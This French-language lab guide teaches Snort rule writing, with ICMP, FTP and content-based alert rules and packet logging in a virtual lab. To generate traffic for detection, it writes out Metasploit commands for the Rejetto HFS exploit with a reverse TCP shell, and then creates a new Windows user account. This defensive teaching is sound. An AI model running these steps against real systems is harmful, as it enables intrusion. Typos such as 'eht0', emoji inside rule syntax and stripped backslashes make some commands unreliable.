Dans cette série d’exercices de laboratoire, nous démontrerons diverses techniques d’écriture de règles Snort, de la syntaxe de base des règles à l’écriture de règles visant à détecter des types d’attaques spécifiques. Nous examinerons également certaines approches de base de l’analyse et de l’optimisation des performances des règles.
Exercice 1 : Snort en tant qu’IDS
Snort est surtout connu en tant qu’IDS. Extrait du site snort.org :
« Snort® est un système de prévention et de détection des intrusions réseau (IDS/IPS) open source développé par Sourcefire. Combinant les avantages de l’inspection basée sur les signatures, les protocoles et les anomalies, Snort est la technologie IDS/IPS la plus largement déployée dans le monde. Avec des millions de téléchargements et près de 400 000 utilisateurs enregistrés, Snort est devenu la norme de facto pour les IPS. »
Il convient également de mentionner que Sourcefire a été racheté par Cisco au début du mois d’octobre 2013.
Snort peut essentiellement fonctionner dans trois modes différents : Le mode IDS, le mode journalisation et le mode renifleur. Nous allons utiliser Snort dans cette partie du laboratoire en mode IDS, puis plus tard l’utiliser comme enregistreur de paquets. Nous utiliserons la VM Ubuntu Server, la VM Windows Server 2012 R2 et la VM Kali Linux pour ce laboratoire.
Vous avez installé Snort version 2.9.8 sur votre VM Ubuntu Server. Lancez votre VM Ubuntu Server, connectez-vous avec les informations d’identification fournies au début de ce guide et ouvrez un shell de terminal en double-cliquant sur le raccourci du Bureau. (Alternativement, vous pouvez appuyer sur Ctrl+Alt+T pour ouvrir un nouveau shell.)
Pour vérifier la version de Snort, tapez snort -V et appuyez sur Entrée.
Puis, nous devons configurer notre valeur HOME_NET : le réseau que nous allons protéger. Tout d’abord, entrez ifconfig dans votre shell terminal pour voir la configuration du réseau. Notez l’adresse IP et la valeur de l’interface réseau. Voir l’image ci-dessous (votre IP peut être différente).
Puis, tapez la commande suivante pour ouvrir le fichier de configuration de snort dans l’éditeur de texte gedit:
sudo gedit /etc/snort/snort.conf
Entrez le mot de passe du serveur Ubuntu. Lorsque le fichier snort.conf s’ouvre, faites défiler vers le bas jusqu’à ce que vous trouviez le paramètre ipvar HOME_NET. Vous voudrez changer l’adresse IP pour qu’elle corresponde à votre sous-réseau de classe C réel. Actuellement, elle devrait être 192.168.132.0/24. Vous changerez simplement la partie adresse IP pour qu’elle corresponde à l’IP de votre VM de serveur Ubuntu, en vous assurant de laisser le « .0/24″ à la fin.
Sélectionnez Enregistrer dans la barre du haut et fermez le fichier. À ce stade, Snort est prêt à fonctionner. Sauf qu’il n’a pas de règles chargées. Pour vérifier, exécutez la commande suivante :
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Ici, nous demandons à Snort de tester (-T) le fichier de configuration (-c indique son emplacement) sur l’interface eth0 (entrez votre valeur d’interface si elle est différente). Cela va produire beaucoup de résultats. Faites défiler jusqu’à ce que vous voyez « 0 Snort rules read » (voir l’image ci-dessous).
Promenons-nous dans la syntaxe de cette règle:
Rule headers
- alert – Action de la règle. Snort va générer une alerte lorsque la condition définie est remplie.
- any – IP source. Snort examinera toutes les sources.
- any – Port source. Snort examinera tous les ports.
- -> – Direction. De la source à la destination.
- $HOME_NET – IP de destination. Nous utilisons la valeur HOME_NET du fichier snort.conf.
- any – Port de destination. Snort examinera tous les ports du réseau protégé.
Options de la règle:
- msg : « ICMP test » – Snort inclura ce message avec l’alerte.
- sid:1000001 – ID de la règle Snort. Rappelez-vous que tous les nombres inférieurs à 1 000 000 sont réservés ; c’est pourquoi nous commençons par 1 000 001. (Vous pouvez utiliser n’importe quel nombre, tant qu’il est supérieur à 1 000 000.)
- rev:1 – Numéro de révision. Cette option permet de faciliter la maintenance des règles.
- classtype:icmp-event – Catégorise la règle comme un « icmp-event », l’une des catégories prédéfinies de Snort. Cette option aide à l’organisation des règles.
Cliquez sur Enregistrer et fermez le fichier. Maintenant, exécutons à nouveau la commande de test de configuration Snort :
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Si vous faites défiler vers le haut, vous devriez voir qu’une règle a été chargée.
Maintenant, démarrons Snort en mode IDS et disons-lui d’afficher les alertes sur la console :
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
De nouveau, nous indiquons à Snort le fichier de configuration qu’il doit utiliser (-c) et spécifions l’interface (-i eth0). L’option -A console imprime les alertes sur la sortie standard, et -q est pour le mode « silencieux » (ne pas montrer la bannière et le rapport d’état). Vous ne devriez pas voir de sortie lorsque vous entrez la commande car Snort n’a pas détecté d’activité spécifiée dans la règle que nous avons écrite.
Générons une certaine activité et voyons si notre règle fonctionne.
Lancez votre VM Kali Linux. Vous devrez peut-être entrer startx après avoir entré les informations d’identification pour accéder à l’interface graphique. Une fois là, ouvrez un shell de terminal en cliquant sur l’icône dans la barre de menu supérieure.
Maintenant, commencez à envoyer un ping à votre serveur Ubuntu avec la commande suivante (utilisez l’IP de votre serveur Ubuntu au lieu de .x.x):
ping 192.168.x.x
Laissez-le s’exécuter pendant quelques secondes et appuyez sur Ctrl+C pour l’arrêter et revenir à l’invite.
Retournez maintenant sur votre serveur Ubuntu en exécutant Snort IDS. Vous devriez voir des alertes générées pour chaque message ICMP Echo request et Echo reply, avec le texte du message que nous avons spécifié dans l’option msg :
Nous pouvons également voir l’adresse IP source de l’hôte responsable de l’activité génératrice d’alerte. Dans l’exemple ci-dessus, il s’agit de 192.168.132.133 ; la vôtre peut être différente (mais ce sera l’IP de votre VM Kali Linux). Notre règle de test fonctionne ! Appuyez sur Ctrl+C pour arrêter Snort et revenir à l’invite.
Maintenant, écrivons une autre règle, cette fois-ci, un peu plus spécifique. Ouvrez notre fichier local.rules dans un éditeur de texte:
sudo gedit /etc/snort/rules/local.rules
D’abord, commentons notre première règle. Mettez un dièse (#) devant elle. Sur une nouvelle ligne, écrivez la règle suivante (en utilisant votre IP Kali Linux pour x.x):
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg : « Tentative de connexion FTP » ; sid:1000002 ; rev:1 😉
Nous avons ici changé le protocole en TCP, utilisé une IP source spécifique, défini le numéro de port de destination à 21 (port par défaut pour les connexions FTP) et modifié le texte du message d’alerte. Enregistrez et fermez le fichier. Maintenant, exécutons à nouveau Snort en mode IDS, mais cette fois, nous allons ajouter une option supplémentaire, comme suit :
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
Nous indiquons à Snort de consigner les alertes générées au format ASCII plutôt que le pcap par défaut. Une fois que Snort est en cours d’exécution (encore une fois, vous ne verrez pas de sortie tout de suite), allez à votre VM Kali Linux et entrez la commande suivante dans un shell terminal (en utilisant l’adresse IP de votre serveur Ubuntu):
ftp 192.168.x.x
Retournez au serveur Ubuntu. Vous devriez voir qu’une alerte a été générée.
Pour vous assurer que la règle ne génère pas de faux positifs, vous pouvez ouvrir un autre shell de terminal sur Ubuntu Server VM et essayer de vous connecter au même serveur FTP. Vous ne devriez pas voir de nouvelles alertes. Appuyez sur Ctrl+C pour arrêter Snort.
Maintenant, exécutez la commande suivante pour faire le listing du répertoire du journal Snort:
ls /var/log/snort
Vous devriez voir quelque chose de similaire à l’image suivante:
Le fichier snort.log.* (vous pouvez en avoir plus d’un si vous avez généré plus d’une activité génératrice d’alertes précédemment) est le fichier journal .pcap. Il ne peut pas être lu avec un éditeur de texte. L’adresse IP que vous voyez (la vôtre sera différente de l’image) est l’IP source de l’alerte que nous venons de voir pour notre règle FTP. Il s’agit d’un répertoire. Voyons ce qu’il contient :
sudo ls /var/log/snort/192.168.x.x
Vous pouvez voir qu’il y a là un fichier nommé d’après le protocole (TCP) et les numéros de port impliqués dans l’activité. Nous pouvons lire ce fichier avec un éditeur de texte ou simplement utiliser la commande cat:
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
Nous obtenons les mêmes informations que celles que nous avons vues dans la sortie console avec quelques détails supplémentaires.
Et les fichiers .pcap ? Nous pouvons utiliser Wireshark, un analyseur de protocole réseau populaire, pour les examiner. Entrez sudo wireshark pour lancer le programme. Cliquez sur OK pour accepter les messages d’erreur ou d’avertissement qui s’affichent. Une fois dans la fenêtre principale de Wireshark, allez dans Fichier → Ouvrir.
Browse dans le répertoire /var/log/snort, sélectionnez le fichier snort.log.* et cliquez sur Ouvrir.
Beaucoup plus d’informations ici ! Cliquez pour développer l’un des éléments du volet central. Maintenant, nous pouvons regarder le contenu de chaque paquet.
Fermer Wireshark. Nous l’utiliserons beaucoup tout au long des laboratoires.
Pour notre prochaine règle, écrivons-en une qui recherche un certain contenu, en plus des protocoles, des IP et des numéros de port. Tout d’abord, nous devons générer une activité qui nous fournira le contenu nécessaire à une règle.
Lancez votre VM Windows Server 2012 R2 et connectez-vous avec les informations d’identification fournies au début de ce guide. Cette VM est dotée d’un serveur FTP qui s’exécute sur elle. Tout d’abord, trouvez l’adresse IP de votre VM Windows Server 2102 R2. Vous pouvez le faire en ouvrant l’invite de commande à partir du raccourci du bureau et en entrant ipconfig.
Notez la valeur « Adresse IPv4 » (la vôtre peut être différente de l’image). Retournez maintenant à votre VM Ubuntu Server et entrez ftp 192.168.x.x (en utilisant l’adresse IP que vous venez de rechercher). Lorsqu’on vous demande le nom et le mot de passe, appuyez simplement sur Entrée. Examinez la sortie.
Comme nous pouvons le voir, la saisie d’informations d’identification invalides entraîne un message qui dit « Login ou mot de passe incorrect. » Nous avons maintenant suffisamment d’informations pour écrire notre règle. Saisissez quit pour quitter FTP et revenir à l’invite. Ouvrez à nouveau notre fichier local.rules:
sudo gedit /etc/snort/rules/local.rules
Puisque nous allons beaucoup travailler avec ce fichier, vous pouvez le laisser ouvert et démarrer un nouveau shell de terminal pour entrer des commandes.
Ajoutez la règle suivante sur la nouvelle ligne:
alert tcp $HOME_NET 21 -> any any (msg : « FTP failed login » ; content : « Login or password incorrect » ; sid:1000003 ; rev:1 😉
Notez que maintenant nous définissons la valeur HOME_NET comme notre IP source, parce que nous allons chercher les réponses sortantes du serveur FTP. Enregistrez le fichier. Maintenant, testons la règle. Démarrez Snort en mode IDS:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Maintenant, allez dans votre VM Kali Linux et essayez de vous connecter au serveur FTP sur Windows Server 2012 R2 (ftp 192.168.x.x), en entrant n’importe quelles valeurs pour Name et Password. Saisissez quit pour revenir à l’invite. Revenez à la VM Ubuntu Server. Vous devriez voir plusieurs alertes générées par les deux règles actives que nous avons chargées dans Snort. Appuyez sur CTRL+C pour arrêter Snort.
Exercice 2 : Snort en tant qu’enregistreur de paquets
Avec l’évolution rapide du paysage des attaques et des vecteurs qui existent aujourd’hui, nous pourrions même ne pas savoir ce que nous devrions rechercher avant d’avoir vu l’attaque. Ensuite, après avoir examiné ce trafic, nous pourrions peut-être créer une règle pour cette « nouvelle » attaque spécifique. C’est exactement de cette manière que sont créées les règles par défaut de Snort disponibles publiquement. Nous allons maintenant exécuter Snort en mode de journalisation et voir ce que nous sommes capables d’identifier le trafic en fonction des attaques que nous faisons.
Dans cet exercice, nous allons simuler une attaque sur notre serveur Windows tout en exécutant Snort en mode de journalisation des paquets. Puis nous examinerons les paquets journalisés pour voir si nous pouvons identifier une signature d’attaque.
Vérifiez que les trois VM (Ubuntu Server, Windows Server et Kali Linux) sont en cours d’exécution. Sur votre VM Kali Linux, entrez ce qui suit dans un shell de terminal :
msfconsole
Cela lancera Metasploit Framework, une plateforme populaire de test de pénétration. Le chargement prendra quelques secondes. Ignorez l’erreur de connexion à la base de données. Attendez jusqu’à ce que vous voyez l’invite msf>. Une fois là, entrez la série de commandes suivante :
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (adresse IP de la VM de Kali Linux)
set RHOST 192.168.x.x (adresse IP de la VM Windows Server 2012 R2)
set RPORT 8081
Nous avons ici configuré un exploit contre une version vulnérable du serveur de fichiers HTTP Rejetto HFS qui s’exécute sur notre VM Windows Server 2012 R2.
Avant d’exécuter l’exploit, nous devons démarrer Snort en mode de journalisation des paquets. Allez sur votre VM Ubuntu Server et entrez la commande suivante dans un shell terminal :
sudo snort -dev -q -l /var/log/snort -i eth0
Vous ne verrez aucune sortie. Maintenant, retournez à l’exploit msf que vous avez configuré sur la VM Kali Linux et entrez exploit. Si l’exploit a réussi, vous devriez vous retrouver avec un shell de commande:
Maintenant que nous avons accès au système, faisons ce qui suit :
Créer un nouveau compte utilisateur:
net user accountname P@ssword12 /ADD
Changer les répertoires en c:
cd
Faire un nouveau répertoire qui est votre nom.
mkdir votre nom
Maintenant appuyez sur Ctrl+C et répondez y pour « oui » pour fermer votre accès au shell de commande.
Puis, allez dans votre VM de serveur Ubuntu et appuyez sur Ctrl+C pour arrêter Snort. Entrez sudo wireshark dans votre shell de terminal. Dans Wireshark, allez dans Fichier → Ouvrir et naviguez jusqu’à /var/log/snort. À ce stade, nous aurons plusieurs fichiers snort.log.* à cet endroit. Sélectionnez celui qui a été modifié le plus récemment et cliquez sur Ouvrir.
Vous devriez voir pas mal de paquets capturés.
Nous devons trouver ceux qui sont liés à notre attaque simulée. Dans Wireshark, sélectionnez Édition → Rechercher un paquet. Dans la boîte de dialogue qui en résulte, sélectionnez le bouton radio Chaîne. Ensuite, sélectionnez Octets de paquet pour le critère Rechercher dans. Ensuite, pour la chaîne de recherche, entrez le nom d’utilisateur que vous avez créé.
Une fois que vous avez configuré le dialogue de recherche, cliquez sur le bouton Rechercher. La recherche devrait trouver le paquet qui contient la chaîne que vous avez recherchée. Allez-y et sélectionnez ce paquet. Il s’agit du paquet de couleur orange foncé. Faites un clic droit dessus et sélectionnez Suivre le flux TCP.
Cette action devrait vous montrer toutes les commandes qui ont été entrées dans cette session TCP. Cela inclura la création du compte, ainsi que les autres actions.
Après avoir vérifié vos résultats, allez-y et fermez la fenêtre de flux. Cela devrait vous ramener au paquet que vous avez sélectionné au début. Maintenant, appuyez sur votre flèche vers le haut jusqu’à ce que vous voyez la partie ASCII de votre vidage hexadécimal montrer « C:UsersAdministratorDesktophfs2.3b> » dans le panneau inférieur. Voir ci-dessous.
Notez la partie sélectionnée dans le graphique ci-dessus. Nous utiliserons ce contenu pour créer une alerte qui nous fera savoir quand un shell de commande est envoyé à un autre hôte suite à l’exploit Rejetto HFS. Minimisez la fenêtre Wireshark (ne la fermez pas tout de suite).
Exercice 3 : Construction d’une règle personnalisée à partir du trafic enregistré
Nous voulons voir une alerte s’afficher chaque fois que Snort voit « C:UsersAdministratorDesktophfs2.3b>. » Allez dans notre fichier local.rules (si vous l’avez fermé, ouvrez-le à nouveau en tant que root, en utilisant la même commande que précédemment) et ajoutez la règle suivante sur une nouvelle ligne (notez que nous échappons tous les antislashs pour être sûrs qu’ils sont inclus dans le contenu):
alert tcp $HOME_NET any -> any any (msg : « Command Shell Access » ; content : « C:UsersAdministratorDesktophfs2.3b » ; sid:1000004 ; rev:1 😉
Enregistrez le fichier. Exécutez Snort en mode IDS à nouveau:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
Retournez maintenant à votre VM Kali Linux. Vous devriez toujours être à l’invite de l’exploit rejetto. Entrez simplement exploit pour l’exécuter à nouveau. Attendez d’avoir accès au shell de commande et retournez au terminal Snort sur le serveur Ubuntu. Vous devriez voir que des alertes ont été générées, en fonction de notre nouvelle règle :
Chez Ctrl+C sur le terminal Kali Linux et entrez y pour sortir du shell de commande. Ensuite, appuyez sur Ctrl+C sur le terminal du serveur Ubuntu pour arrêter Snort.
Dans ce cas, nous avons du contenu lisible par l’homme à utiliser dans notre règle. Mais ce n’est pas toujours le cas.
Modifions notre règle pour qu’elle recherche un contenu représenté au format hexadécimal. Tout d’abord, dans notre fichier local.rules, copiez notre dernière règle et collez-la ci-dessous dans la nouvelle ligne. Maintenant, commentez l’ancienne règle et changez la valeur « rev » de la nouvelle règle en « 2 ». Voir ci-dessous.
Faire apparaître la fenêtre Wireshark avec notre capture à nouveau, avec la même portion de charge utile sélectionnée. Malheureusement, vous ne pouvez pas copier les valeurs hexagonales directement à partir de la fenêtre principale de Wireshark, mais il existe une solution facile qui fonctionnera pour nous. Une fois le contenu nécessaire sélectionné, cliquez avec le bouton droit de la souris sur le paquet correspondant (en surbrillance) dans le volet supérieur ou sur l’entrée » Data : » en surbrillance dans le volet central et sélectionnez Copy → Bytes → Offset Hex. Voir ci-dessous.
Maintenant, dans notre fichier local.rules, sélectionnez l’argument de contenu (tout ce qui se trouve entre les guillemets) de notre nouvelle règle, faites un clic droit et cliquez sur Coller. Maintenant, supprimez soigneusement tous les espaces supplémentaires, les sauts de ligne et ainsi de suite, en ne laissant que les valeurs hexagonales nécessaires. Ensuite, mettez les symboles de pipe (|) des deux côtés. Votre règle terminée devrait ressembler à l’image ci-dessous.
Enregistrez le fichier. Démarrez Snort en mode IDS. Ensuite, allez dans votre VM Kali Linux et exécutez à nouveau l’exploit. Attendez d’obtenir le shell de commande et regardez la sortie de Snort. Vous devriez voir des alertes générées.
Cette fois, nous voyons deux alertes au lieu de quatre parce que nous avons inclus la représentation hexagonale du symbole « > » dans le contenu, ce qui rend la règle plus spécifique.
Appuyez sur Ctrl+C pour arrêter Snort. Ensuite, sur la VM Kali Linux, appuyez sur Ctrl+C et tapez y pour sortir du shell de commande. Tapez exit pour revenir à l’invite normale.
Ce n’est qu’une partie des bases de l’écriture des règles Snort. Plus tard, nous verrons des techniques plus avancées.